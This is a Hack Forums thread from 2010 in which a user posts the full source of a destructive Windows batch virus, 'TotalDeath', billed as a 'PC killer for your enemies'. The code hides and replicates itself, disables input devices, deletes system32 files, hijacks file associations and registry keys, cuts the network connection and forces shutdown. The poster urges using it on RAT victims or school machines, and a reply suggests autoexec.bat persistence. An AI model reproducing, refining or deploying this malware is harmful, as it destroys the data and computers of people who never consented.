+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Hacking Tools and Programs (https://hackforums.net/forumdisplay.php?fid=10)
+---- Thread: TotalDeath Batch Virus (Perfect PC Killer for Your Enemies) (/showthread.php?tid=882785)
TotalDeath Batch Virus (Perfect PC Killer for Your Enemies) - Jinxyy - Dec 9, 2010
Hi guys,
I looked a bit at the Amnesia bat virus, and so I decided to make my own. I call this the "TotalDeath" bvir. It stops time, kills internet connection, disables itself if run on a virtual computer, and basically wipes all necassary files to start computer up. It hides itself with UltraProtect in the startup folder.
Its detectable, so that's why I would prefer you do it to one of your RAT victims when you disable their antivirus, or maybe do it at school if your network doesnt have an AV (doubt it).
I'll soon make a AV disabler when I have the time.
CODE (DONT RUN IT ON YOUR COMPUTER, SAVE IT AS A TXT AND CHANGE IT LATER):
Code
@echo off
copy "TotalDeath.bat" "C:\WINDOWS"
attrib +r +h +s "TotalDeath.bat"
copy "TotalDeath.bat" "C:\Documents and
Settings\Owner\My Documents"
Reg Add "HKCU\Control Panel\Mouse" /v
SwapMouseButtons /f /d "10"
rundll32 keyboard, disabled
rundll32 mouse, disabled
taskkill explorer /t /t
taskkill yahoomessenger /f /t
taskkill msmsgs /t /f
taskkill firefox /f /t
taskkill iexplore /f /t
time 6:66
del "C:\WINDOWS\explorer.exe" /f /q
cd "C:\WINDOWS"
del "*.bat" /f /g
cd "C:\WINDOWS\system32"
del "*.*" /g /f
del "C:\Program Files\messenger\msmsgs.exe" /q /f
del "c:\Program Files\Yahoo!\messenger\YahooMessenger.exe" /q /f
attrib +r +h "C:\Documents and Settings\Owner\My Documents\My Music"
attrib +r +h "C:\Documents and Settings\Owner\My Documents\My Pictures"
attrib +r +h "C:\Documents and Settings\Owner\My Documents\My Videos"
attrib +r +h "C:\Documents and Settings\Owner\My Documents"
attrib +r +h "C:\WINDOWS"
RASDIAL /DISCONNECT
start D:\
reg add "HKLM\SOFTWARE\Mozilla\Mozilla Firefox\2.0.0.12 (en-US)\main" /v PathtoExe /f /d
"c:\WINDOWS\TotalDeath.bat"
reg add
"HKLM\SOFTWARE\InstallShield\driver\7\intel32"
/v folder /f /d "C:\WINDOWS\TotalDeath.bat"
assoc .exe=WMAFile
assoc .mp3=VBSFile
assoc .jpg=THEMEFile
assoc .bmp=THEMEFile
assoc .gif=THEMEFile
echo You have pwned by TotalDeath. Next Time,
don't be so stupid! >> finalmessage.txt
start finalmessage.txt
shutdown -s -t 60 -c "Say good bye"
msg * TotalDeath Has wiped your computer clean
:section1
cd "C:\Documents and Settings\Owner\desktop"
copy "C:\WINDOWS\TotalDeath.bat" "8021.bat"
cd "c:\Documents and Settings\Owner\desktop"
md 5265
cd "C:\WINDOWS\system32"
copy "C:\WINDOWS\TotalDeath.bat" "2696.bat"
start
start
start
start
start
goto section1Cya later. Have fun.
* - iZan - Dec 9, 2010
inb4 BAN. You didn't have to post 3 other threads.
* - Jinxyy - Dec 9, 2010
Chill, it was a mistake. My internet froze so I clicked "post" a couple times and so it made multiple threads. Chill.
* - -mothered- - Dec 9, 2010
Actually, one of my lappies Is due for a format, so I'll run this and see exactly what It does.
Thanks mate.
* - ahsanciit - Dec 9, 2010
ANTIVIRUS DIDNT DEDUCT IT SO ITS NT A VIRUS MAN....
ITS A FAKE FILE
* - Epic Smiley™ - Dec 9, 2010
(Dec 9, 2010 07:10 AM)ahsanciit Wrote: ANTIVIRUS DIDNT DEDUCT IT SO ITS NT A VIRUS MAN....
ITS A FAKE FILE
1. Disable Caps lock
2. Fuck off.
* - Fallenbot - Dec 9, 2010
I'll try this at my Virtual Box OS. Hopefully it'll work,thanks mate.
* - Jinxyy - Dec 9, 2010
No problem, I mean I got the whole idea from the Amnesia virus that deletes all files (not necassary ones). I just made that same one, except it deletes EVERYTHING (almost). So, all in all, credit to creator of Amnesia.
* - ๖ۣۜLogic_Bomb - Dec 9, 2010
Not trying to be a knob here, but deleting C:\Windows will not work whilst the OS is running.
But still it will destroy virtually everything else which is pretty funny.
Just another quick question; what are the random "start" commands at the :EOF? They don't seem to do anything as they have no parameters, Just curious.
Have you thought about adding it to the Autoexec.bat? (Windows XP) It might help delete even more of the files that way... You could just add something like:
Code
IF EXIST c:\autoexec.bat echo start VIRUSPATH\VIRUSNAME.bat >> c:\autoexec.batGood work though :)
UndrGrnd
* - Jinxyy - Dec 10, 2010
Thanks, like I said, it wasnt really that hard to do, just find some paths that were needed and were deleteable. @Undr: Yeah, I mean you can't delete the windows, but then again some valuable parts WILL be sucked out of there.